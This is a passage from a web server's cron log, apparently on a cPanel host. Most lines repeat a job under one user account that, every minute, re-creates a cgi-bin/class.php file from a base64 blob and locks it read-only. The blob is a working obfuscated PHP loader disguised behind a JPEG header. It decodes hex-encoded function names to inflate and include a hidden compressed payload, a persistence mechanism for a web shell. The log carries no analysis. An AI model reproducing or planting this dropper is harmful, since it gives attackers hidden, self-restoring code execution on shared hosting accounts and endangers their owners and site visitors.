DSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:02:01 server CROND[30761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:03:01 server CROND[31145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:03:01 server CROND[31147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:03:01 server CROND[31146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:04:01 server CROND[31514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:04:01 server CROND[31515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:04:01 server CROND[31516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:05:01 server CROND[31890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:05:01 server CROND[31894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:05:01 server CROND[31893]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:05:01 server CROND[31898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:05:01 server CROND[31895]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:05:01 server CROND[31902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:05:01 server CROND[31904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:05:01 server CROND[31910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:06:01 server CROND[356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:06:01 server CROND[357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:06:01 server CROND[355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:07:01 server CROND[758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:07:01 server CROND[759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:07:01 server CROND[760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:08:01 server CROND[1178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:08:01 server CROND[1179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:08:01 server CROND[1180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:09:01 server CROND[1583]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 12:09:01 server CROND[1584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:09:01 server CROND[1585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:09:01 server CROND[1586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:10:01 server CROND[2026]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:10:01 server CROND[2028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:10:01 server CROND[2034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:10:01 server CROND[2031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:10:01 server CROND[2035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:10:01 server CROND[2038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:10:01 server CROND[2036]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:10:01 server CROND[2037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:11:01 server CROND[2986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:11:01 server CROND[2987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:11:01 server CROND[2988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:12:01 server CROND[3367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:12:01 server CROND[3368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:12:01 server CROND[3369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:12:01 server CROND[3370]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:13:01 server CROND[3730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:13:01 server CROND[3731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:13:01 server CROND[3732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:14:01 server CROND[4103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:14:01 server CROND[4104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:14:01 server CROND[4105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:15:01 server CROND[4482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
